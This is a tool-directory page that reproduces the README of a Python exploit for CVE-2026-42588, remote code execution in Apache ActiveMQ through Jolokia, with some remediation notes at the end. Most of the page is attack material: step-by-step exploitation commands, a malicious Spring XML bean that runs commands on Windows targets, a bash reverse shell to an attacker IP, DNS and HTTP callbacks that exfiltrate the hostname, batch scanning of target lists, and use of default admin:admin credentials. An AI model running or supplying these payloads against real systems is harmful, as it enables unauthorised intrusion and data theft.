Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hnytgl/cve-2026-42588
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

Python-based RCE exploit for CVE-2026-42588 targeting Apache ActiveMQ Jolokia. Features check-only mode, malicious XML generation, and support for reverse shell, OOB, and file-based verification.

View Repository
323 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-42588 - Apache ActiveMQ Jolokia Remote Code Execution Exploit

Severity: 🔴 High (CVSS 4.0: 8.1)
Vulnerability Type: CWE-94 — Code Injection
Affected Versions: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Prerequisites: Requires Web Console authentication credentials (default admin:admin)


📋 Table of Contents

  • Vulnerability Overview
  • Vulnerability Principle
  • Affected Versions
  • Exploitation Requirements
  • File Description
  • Quick Start
  • Detailed Usage
  • Exploitation Chain Diagram
  • Verifying Successful Exploitation
  • Remediation
  • Temporary Mitigation
  • FAQ
  • Disclaimer
  • References

Vulnerability Overview

CVE-2026-42588 is a post-authentication Remote Code Execution (RCE) vulnerability in Apache ActiveMQ.

An attacker with valid Web Console credentials can invoke the BrokerService.addNetworkConnector(String) method via the Jolokia JMX-HTTP bridge (/api/jolokia/), passing a crafted masterslave:// discovery URI. By leveraging the xbean: protocol to load a remote Spring XML configuration file, arbitrary system commands can be executed in the ActiveMQ Broker's JVM.


Vulnerability Principle

Exploitation Chain

root@kitploit:~
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
       │
       ▼
BrokerService.addNetworkConnector(String)
       │
       ▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
       │
       ▼
XBeanBrokerFactory → ResourceXmlApplicationContext
       │
       ▼
Spring pre-instantiates all singleton Beans → Triggers Runtime.exec() / ProcessBuilder
       │
       ▼
🚨 Remote Code Execution (RCE)

Key Technical Points

ComponentDescription
Jolokia exposureActiveMQ Web Console exposes /api/jolokia/ by default, allowing exec operations on org.apache.activemq:* MBeans
Dangerous methodBrokerService.addNetworkConnector(String) accepts and parses a discovery URI
URI trigger chainThe brokerConfig parameter of the masterslave:// protocol is controllable, combined with the xbean: scheme to trigger Spring context loading
RCE trigger pointXBeanBrokerFactory uses ResourceXmlApplicationContext to load remote XML; Spring instantiates all singleton Beans before configuration is validated

Affected Versions

Version RangeStatus
Apache ActiveMQ < 5.19.7❌ Vulnerable
6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ Vulnerable
Apache ActiveMQ ≥ 5.19.7✅ Fixed
Apache ActiveMQ ≥ 6.2.6✅ Fixed

Exploitation Requirements

  1. ✅ Network reachability — The /api/jolokia/ endpoint must be accessible to the attacker (default port 8161)
  2. ✅ Valid credentials — Authentication credentials for the ActiveMQ Web Console are required (default admin:admin)
  3. ✅ Attacker HTTP server — An HTTP server accessible by the target is required to host the malicious XML file

File Description

root@kitploit:~
.
├── CVE-2026-42588_EXP.py   # Exploit script (core)
├── malicious.xml            # Malicious Spring XML template
├── requirements.txt         # Python dependencies
└── README.md                # This file
FilePurpose
CVE-2026-42588_EXP.pyPython exploit script; supports detection mode (--check-only) and XML generation mode (--gen-xml)
malicious.xmlMalicious Spring XML configuration template; contains both Runtime.exec() and ProcessBuilder exploitation methods

Quick Start

1. Install Dependencies

root@kitploit:~
pip install -r requirements.txt

2. Generate Malicious XML File

root@kitploit:~
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml

3. Host the Malicious XML File

Start an HTTP server on the attacker machine:

root@kitploit:~
python3 -m http.server 8080

4. Execute the Exploit

root@kitploit:~
# Use default credentials admin/admin
python CVE-2026-42588_EXP.py \
    -u http://192.168.1.100:8161 \
    -x http://your-attacker-ip:8080/malicious.xml

# Use custom credentials
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -U myuser \
    -P mypass \
    -x http://your-attacker-ip:8080/malicious.xml

5. (Optional) Check Vulnerability Only

root@kitploit:~
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only

Detailed Usage

Command Line Arguments

root@kitploit:~
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                             [-x XML_URL] [--check-only] [--gen-xml]
                             [-c COMMAND] [--timeout TIMEOUT] [--no-verify]

Options:
  -u, --url         Target ActiveMQ URL (e.g., http://192.168.1.100:8161)
  -U, --username    Web Console username (default: admin)
  -P, --password    Web Console password (default: admin)
  -x, --xml-url     Remote URL of the malicious Spring XML file
  --check-only      Only check if the Jolokia endpoint is accessible
  --gen-xml         Generate a malicious XML file and output to stdout
  -c, --command     Command to execute on the target (default: touch /tmp/activemq_pwned)
  --timeout         HTTP request timeout in seconds (default: 30)
  --no-verify       Disable SSL certificate verification

Scenario 1: Reverse Shell

1. Generate malicious XML on the attacker machine:

root@kitploit:~
python CVE-2026-42588_EXP.py --gen-xml \
    -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    > reverse_shell.xml

2. Host XML and start listener:

root@kitploit:~
# Terminal 1: HTTP server
python3 -m http.server 8080

# Terminal 2: nc listener
nc -lvnp 4444

3. Trigger the vulnerability:

root@kitploit:~
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -x http://10.0.0.1:8080/reverse_shell.xml

Scenario 2: CMD Command Execution (Windows Target)

1. Generate malicious XML for Windows:

Modify the ProcessBuilder command in malicious.xml to:

root@kitploit:~
<bean class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>whoami &gt; C:\windows\temp\pwned.txt</value>
        </list>
    </constructor-arg>
</bean>

2. Host and execute:

root@kitploit:~
python CVE-2026-42588_EXP.py \
    -u http://windows-target:8161 \
    -x http://attacker:8080/malicious_win.xml

Scenario 3: Vulnerability Detection Only

root@kitploit:~
# Batch detection
for ip in $(cat targets.txt); do
    echo "=== Testing $ip ==="
    python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done

Exploitation Chain Diagram

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                        CVE-2026-42588 攻击链                          │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ① 攻击者                             ⑤ ActiveMQ Broker (JVM)        │
│  ┌──────────┐                         ┌──────────────────────────┐   │
│  │ EXP脚本  │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
│  │          │    Jolokia exec()        │                          │   │
│  │          │    Basic Auth            │ BrokerService.           │   │
│  │          │                          │ addNetworkConnector(     │   │
│  │          │                          │   "masterslave://?       │   │
│  │          │                          │    brokerConfig=         │   │
│  │          │                          │    xbean:http://...      │   │
│  │          │                          │    /malicious.xml"       │   │
│  └──────────┘                          │ )                        │   │
│       │                                └────────┬─────────────────┘   │
│       │                                         │                     │
│       │          ③ HTTP GET                     ▼                     │
│       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
│       └─▶│ 攻击者 HTTP 服务器    │  │ ResourceXmlApplication     │    │
│          │ (python http.server) │  │ Context 加载远程 XML        │    │
│          │                      │  │                            │    │
│          │ malicious.xml        │  │ Spring 预实例化 Bean ──▶    │    │
│          └──────────────────────┘  │ Runtime.exec() /            │    │
│                                    │ ProcessBuilder.start()      │    │
│                                    │          │                  │    │
│                                    │          ▼                  │    │
│                                    │    🚨 RCE 成功 🚨           │    │
│                                    └────────────────────────────┘    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Verifying Successful Exploitation

Since command execution occurs during Spring XML parsing, it is asynchronous and the HTTP response may not directly reflect the execution result. It is recommended to verify using the following methods:

Method 1: Reverse Shell (Most Reliable)

root@kitploit:~
# Attacker machine
nc -lvnp 4444

Method 2: DNS Out-of-Band (OOB)

root@kitploit:~
# Use nslookup or curl to exfiltrate data in the command
nslookup $(hostname).your-dns-server.com

Method 3: File Drop Detection

root@kitploit:~
# Check for marker file on the target
ls -la /tmp/activemq_pwned

Method 4: HTTP Callback

root@kitploit:~
# Use curl in the malicious XML
curl http://your-server:8888/$(hostname)
# Meanwhile, listen on the attacker machine
nc -lvnp 8888

Remediation

✅ Recommended Solution: Upgrade Version

Version LineUpgrade to
5.x series5.19.7 or later
6.x series6.2.6 or later

Download: https://activemq.apache.org/download

Patch Announcement: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm


Temporary Mitigation

If upgrading is not immediately possible, the following measures can reduce risk:

1. Restrict Jolokia Endpoint Access

In conf/jetty.xml, restrict /api/jolokia/ to local access only, or use a firewall/reverse proxy to implement an IP whitelist.

2. Modify Jolokia Access Policy

Edit conf/jolokia-access.xml to deny exec operations on org.apache.activemq:* MBeans:

root@kitploit:~
<restrict>
    <mbean>
        <name>org.apache.activemq:*</name>
        <operation>!exec</operation>
    </mbean>
</restrict>

3. Change Default Credentials

Edit conf/jetty-realm.properties and change the default admin: admin, admin to a strong password.

4. Disable Web Console (if not needed)

In conf/jetty.xml, comment out the Context configuration related to the Web Console.


FAQ

Q: Does this vulnerability require authentication?

A: Yes, valid ActiveMQ Web Console credentials are required. However, the default credentials are admin/admin, and many real-world systems have not changed the default password, so the risk remains high.

Q: What if there is no output after executing the exploit?

A: This is normal. Command execution is asynchronous and happens during Spring XML parsing. It is recommended to verify using reverse shell, DNS out-of-band, etc. See Verifying Successful Exploitation.

Q: Does this support Windows targets?

A: Yes. You need to change the command in malicious.xml from /bin/sh -c to cmd.exe /c and adjust the command syntax to Windows style.

Q: Can detection mode (--check-only) confirm the vulnerability exists?

A: Detection mode only confirms whether the Jolokia endpoint is accessible (a necessary condition for exploitation). Endpoint accessibility does not guarantee exploitability, but it indicates the possibility.

Q: Can the vulnerability still be exploited after patching?

A: No. After upgrading to 5.19.7+ or 6.2.6+, the parsing logic for the brokerConfig parameter has been fixed, and it no longer accepts the xbean: scheme.


Disclaimer

⚠️ This tool is for security research and authorized testing only!

  • Using this tool to access systems without authorization is illegal
  • Users must bear all consequences and responsibilities arising from the use of this tool
  • The author is not responsible for any unauthorized use, misuse, or damages caused
  • Use this tool only on your own systems or on systems with written authorization
  • Comply with local laws, regulations, and professional ethics

References

SourceLink
Vulnerability Database (CVE Detail)https://www.cybersecurity-help.cz/vdb/vulns/133395/
Antiy Vulnerability Bulletinhttps://bbs.antiy.cn/thread-210844-1-1.html
DDPOC Vulnerability Detailshttps://ddpoc.com/DVB-2026-11290.html
Apache ActiveMQ Officialhttps://activemq.apache.org/
Apache Security Bulletinhttps://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm

CVE-2026-42588 — For Educational & Authorized Testing Purposes Only

Download Tool